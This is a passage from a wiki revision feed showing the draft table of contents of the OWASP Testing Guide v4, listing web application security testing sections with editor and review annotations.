&lt;br /&gt;
[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly &amp;quot;Testing for Database credentials/connection strings available (OWASP-CM-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly &amp;quot;Testing for Content Security Policy weakness (OWASP-CM-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Missing HSTS header|4.3.9 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly &amp;quot;Testing for Missing HSTS header (OWASP-CM-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for RIA policy files weakness|4.3.11 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly &amp;quot;Testing for RIA policy files weakness (OWASP-CM-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Identity Management|'''4.4 Identity Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] New&lt;br /&gt;
&lt;br /&gt;
[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]] formerly &amp;quot;Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]] formerly &amp;quot;Testing for Weak or unenforced username policy (OWASP-AT-009)&lt;br /&gt;
&lt;br /&gt;
[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for authentication|'''4.5 Authentication Testing ''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel  (OTG-AUTHN-001)]] formerly &amp;quot;Testing for Credentials Transported over an Encrypted Channel  (OWASP-AT-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] formerly &amp;quot;Testing for default credentials (OWASP-AT-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]] formerly &amp;quot;Testing for Weak lock out mechanism (OWASP-AT-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] formerly &amp;quot;Testing for bypassing authentication schema (OWASP-AT-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] formerly &amp;quot;Testing for vulnerable remember password functionality (OWASP-AT-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] formerly &amp;quot;Testing for Browser cache weakness (OWASP-AT-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] formerly &amp;quot;Testing for Weak password policy (OWASP-AT-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] New! - Robert Winkel&lt;br /&gt;
&lt;br /&gt;
[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] formerly &amp;quot;Testing for weak password change or reset functionalities (OWASP-AT-011)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]] (e.g. mobile app, IVR, help desk)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Authorization|'''4.6 Authorization Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New&lt;br /&gt;
&lt;br /&gt;
[[Testing for Path Traversal  (OWASP-AZ-001)|4.6.2 Testing Directory traversal/file include (OTG-AUTHZ-002)]] formerly &amp;quot;Testing Directory traversal/file include (OWASP-AZ-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authorization Schema  (OWASP-AZ-002)|4.6.3 Testing for bypassing authorization schema (OTG-AUTHZ-003)]] formerly &amp;quot;Testing for bypassing authorization schema  (OWASP-AZ-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Privilege escalation  (OWASP-AZ-003)|4.6.4 Testing for Privilege Escalation (OTG-AUTHZ-004)]] formerly &amp;quot;Testing for Privilege Escalation  (OWASP-AZ-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.5 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]] formerly &amp;quot;Testing for Insecure Direct Object References (OWASP-AZ-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly &amp;quot;Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)&lt;br /&gt;
&lt;br /&gt;
[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)&lt;br /&gt;
&lt;br /&gt;
[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly &amp;quot;Testing for failure to restrict access to authenticated resource (OWASP-AT-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Management|'''4.7 Session Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]] formerly &amp;quot;Testing for Bypassing Session Management Schema (OWASP-SM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for cookies attributes  (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]] formerly &amp;quot;Testing for Cookies attributes (OWASP-SM-002)&amp;quot; (Cookies are set not ‘HTTP Only’, ‘Secure’,  and no time validity)&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Fixation  (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]] formerly &amp;quot;Testing for Session Fixation  (OWASP-SM-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Exposed Session Variables  (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]] formerly &amp;quot;Testing for Exposed Session Variables (OWASP-SM-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for CSRF  (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] formerly &amp;quot;Testing for Cross Site Request Forgery (CSRF) (OWASP-SM-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]&lt;br /&gt;
 &lt;br /&gt;
[[Testing for logout functionality (OWASP-SM-007)|4.7.7 Testing for logout functionality (OTG-SESS-007)]] formerly &amp;quot;Testing for logout functionality (OWASP-SM-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session puzzling (OWASP-SM-008)|4.7.8 Testing for Session puzzling (OWASP-SM-008)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Session Timeout (OTG-SESS-008)|4.7.8 Test Session Timeout (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Data Validation|'''4.8 Data Validation Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]] formerly &amp;quot;Testing for Reflected Cross Site Scripting (OWASP-DV-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]] formerly &amp;quot;Testing for Stored Cross Site Scripting (OWASP-DV-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] formerly &amp;quot;Testing for HTTP Verb Tampering (OWASP-DV-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] formerly &amp;quot;Testing for HTTP Parameter pollution (OWASP-DV-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly &amp;quot;Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Injection (OWASP-DV-005)| 4.8.6 Testing for SQL Injection (OTG-INPVAL-006)]] formerly &amp;quot;Testing for SQL Injection (OWASP-DV-005)&amp;quot; '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for Oracle|4.8.6.1 Oracle Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MySQL|4.8.6.2 MySQL Testing [Ismael Gonçalves]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Server|4.8.6.3 SQL Server Testing]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.6.4 Testing PostgreSQL (from OWASP BSP) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MS Access |4.8.6.5 MS Access Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for NoSQL injection|4.8.6.6 Testing for NoSQL injection [New!]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for LDAP Injection  (OWASP-DV-006)|4.8.7 Testing for LDAP Injection  (OTG-INPVAL-007)]] formerly &amp;quot;Testing for LDAP Injection  (OWASP-DV-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for ORM Injection   (OWASP-DV-007)|4.8.8 Testing for ORM Injection   (OTG-INPVAL-008)]] formerly &amp;quot;Testing for ORM Injection   (OWASP-DV-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for XML Injection (OWASP-DV-008)|4.8.9 Testing for XML Injection (OTG-INPVAL-009)]] formerly &amp;quot;Testing for XML Injection (OWASP-DV-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for SSI Injection  (OWASP-DV-009)|4.8.10 Testing for SSI Injection  (OTG-INPVAL-010)]] formerly &amp;quot;Testing for SSI Injection  (OWASP-DV-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for XPath Injection  (OWASP-DV-010)|4.8.11 Testing for XPath Injection  (OTG-INPVAL-011)]] formerly &amp;quot;Testing for XPath Injection  (OWASP-DV-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for IMAP/SMTP Injection  (OWASP-DV-011)|4.8.12 IMAP/SMTP Injection  (OTG-INPVAL-012)]] formerly &amp;quot;IMAP/SMTP Injection  (OWASP-DV-011)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Code Injection  (OWASP-DV-012)|4.8.13 Testing for Code Injection  (OTG-INPVAL-013)]] formerly &amp;quot;Testing for Code Injection  (OWASP-DV-012)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Local File Inclusion|4.8.13.1 Testing for Local File Inclusion]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Remote File Inclusion|4.8.13.2 Testing for Remote File Inclusion]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Command Injection   (OWASP-DV-013)|4.8.14 Testing for Command Injection   (OTG-INPVAL-014)]] formerly &amp;quot;Testing for Command Injection   (OWASP-DV-013)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.15 Testing for Buffer overflow (OTG-INPVAL-015)]] formerly &amp;quot;Testing for Buffer overflow (OWASP-DV-014)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Heap Overflow|4.8.15.1 Testing for Heap overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Overflow|4.8.15.2 Testing for Stack overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Format String|4.8.15.3 Testing for Format string]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.16 Testing for incubated vulnerabilities (OTG-INPVAL-016)]] formerly &amp;quot;Testing for incubated vulnerabilities (OWASP-DV-015)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Splitting/Smuggling  (OWASP-DV-016)|4.8.17 Testing for HTTP Splitting/Smuggling  (OTG-INPVAL-017) ]] formerly &amp;quot;Testing for HTTP Splitting/Smuggling  (OWASP-DV-016)&amp;quot; [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Error Handling|'''4.9 Error Handling''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Error Code (OWASP-IG-006)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]] formerly &amp;quot;Analysis of Error Codes (OWASP-IG-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Traces (OWASP-IG-XXX)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]] formerly &amp;quot;Analysis of Stack Traces&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Cryptography|'''4.10 Cryptography''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1  Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly &amp;quot;Testing for Insecure encryption usage (OWASP-EN-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.10.2 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002)]] formerly &amp;quot;Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Padding Oracle (OWASP-EN-003)| 4.10.3 Testing for Padding Oracle (OTG-CRYPST-003)]] formerly &amp;quot;Testing for Padding Oracle (OWASP-EN-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|4.10.7 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test&lt;br /&gt;
&lt;br /&gt;
[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly &amp;quot;Incorrect time&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for business logic   (OWASP-BL-001)|'''4.12 Business Logic Testing  (OWASP-BL-001)''']] [To review--&amp;gt; David Fern]&lt;br /&gt;
Business Logic&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Test business logic data validation (OTG-BUSLOGIC-001)|4.12.1 Test business logic data validation (OTG-BUSLOGIC-001)]] [New!] NOTE MAT: to discuss this section&lt;br /&gt;
&lt;br /&gt;
[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test integrity checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates) [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test tamper evidence (OTG-BUSLOGIC-004)|4.12.4 Test tamper evidence (OTG-BUSLOGIC-004)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.12.5 Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test size of request limits (OTG-BUSLOGIC-006)|4.12.6 Test size of request limits (OTG-BUSLOGIC-006)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test number of times a function can be used limits (OTG-BUSLOGIC-007)|4.12.7 Test number of times a function can be used limits (OTG-BUSLOGIC-002)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test bypass of correct sequence (OTG-BUSLOGIC-008)|4.12.8 Test bypass of correct sequence (OTG-BUSLOGIC-008)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)|4.12.9 Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test security incident reporting information (OTG-BUSLOGIC-010)|4.12.10 Test security incident reporting information (OTG-BUSLOGIC-010)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test defenses against application mis-use (OTG-BUSLOGIC-011)|4.12.11 Test defenses against application mis-use (OTG-BUSLOGIC-011)]] [New!]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Denial of Service|'''4.13 Denial of Service''']]&lt;br /&gt;
&lt;br /&gt;
[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly &amp;quot;Testing for CAPTCHA (OWASP-AT-012)&amp;quot; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston] &lt;br /&gt;
&lt;br /&gt;
[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly &amp;quot;Scoping a Web Service Test (OWASP-WS-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly &amp;quot;WS Information Gathering (OWASP-WS-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly &amp;quot;WS Authentication Testing (OWASP-WS-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly &amp;quot;WS Management Interface Testing (OWASP-WS-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly &amp;quot;Weak XML Structure Testing (OWASP-WS-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly &amp;quot;XML Content-Level Testing (OWASP-WS-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly &amp;quot;WS HTTP GET Parameters/REST Testing (OWASP-WS-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly &amp;quot;WS Naughty SOAP Attachment Testing (OWASP-WS-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly &amp;quot;WS Replay/MiTM Testing (OWASP-WS-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly &amp;quot;WS BEPL Testing (OWASP-WS-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Client Side Testing|'''4.15 Client Side Testing''']] [New!] &lt;br /&gt;
&lt;br /&gt;
[[Testing for DOM-based Cross site scripting  (OWASP-DV-003)|4.15.1 Testing for DOM based Cross Site Scripting  (OTG-CLIENT-001)]] formerly &amp;quot;Testing for DOM based Cross Site Scripting  (OWASP-CS-001)&amp;quot; [Stefano Di Paola]&lt;br /&gt;
&lt;br /&gt;
[[Testing Cross Origin Resource Sharing (OWASP CS-002)|4.15.2 Testing Cross Origin Resource Sharing  (OTG-CLIENT-002)]] formerly &amp;quot;Testing for HTML5 (OWASP CS-002)&amp;quot; [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Cross site flashing (OWASP-DV-004)|4.15.3 Testing for Cross Site Flashing   (OTG-CLIENT-003)]] formerly &amp;quot;Testing for Cross Site Flashing   (OWASP-CS-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Clickjacking (OWASP-CS-004)|4.15.4 Testing for Clickjacking (OTG-CLIENT-004)]] formerly &amp;quot;Testing for Clickjacking (OWASP-CS-004)&amp;quot; [Davide Danelon]&lt;br /&gt;
&lt;br /&gt;
[[Testing WebSockets|4.15.5 WebSocket Testing (OTG-CLIENT-005)]] [Ryan Dewhurst]&lt;br /&gt;
&lt;br /&gt;
[[Testing Web Messaging|4.15.6 Testing Web Messaging (OTG-CLIENT-006)]] [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
[[Testing Local Storage|4.15.7 Testing Local Storage (OTG-CLIENT-007)]] [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
[[Testing Sandboxed Iframes|4.15.8 Testing Sandboxed Iframes (OTG-CLIENT-008)]] [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==&lt;br /&gt;
&lt;br /&gt;
[[How to value the real risk |5.1 How to value the real risk]] [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==&lt;br /&gt;
&lt;br /&gt;
* Black Box Testing Tools [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==&lt;br /&gt;
* Whitepapers [To review--&amp;gt; David Fern]&lt;br /&gt;
* Books [To review--&amp;gt; David Fern]&lt;br /&gt;
* Useful Websites [To review--&amp;gt; David Fern]&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==&lt;br /&gt;
&lt;br /&gt;
* Fuzz Categories [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==&lt;br /&gt;
&lt;br /&gt;
[To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Testing Project]]&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=157948</id>
		<title>OWASP Testing Guide v4 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=157948"/>
				<updated>2013-09-05T13:37:16Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&lt;br /&gt;
'''This is the DRAFT of the table of content of the New Testing Guide v4.'''&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Back to the OWASP Testing Guide Project:&lt;br /&gt;
http://www.owasp.org/index.php/OWASP_Testing_Project&lt;br /&gt;
&lt;br /&gt;
'''Updated: 15th February 2013'''&lt;br /&gt;
&lt;br /&gt;
[[ OWTGv4 Contributors list|'''Contributors List]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following is a DRAFT of the Toc based on the feedback already received.&lt;br /&gt;
&lt;br /&gt;
== Table of Contents ==&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Foreword|Foreword by Eoin Keary]]== &lt;br /&gt;
[To review--&amp;gt; Eoin Keary -&amp;gt; Done!!]&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Frontispiece |1. Frontispiece]]== &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]''' &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]''' &lt;br /&gt;
[To review--&amp;gt; ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Introduction|2. Introduction]]==&lt;br /&gt;
&lt;br /&gt;
'''2.1 The OWASP Testing Project'''&lt;br /&gt;
&lt;br /&gt;
'''2.2 Principles of Testing'''&lt;br /&gt;
&lt;br /&gt;
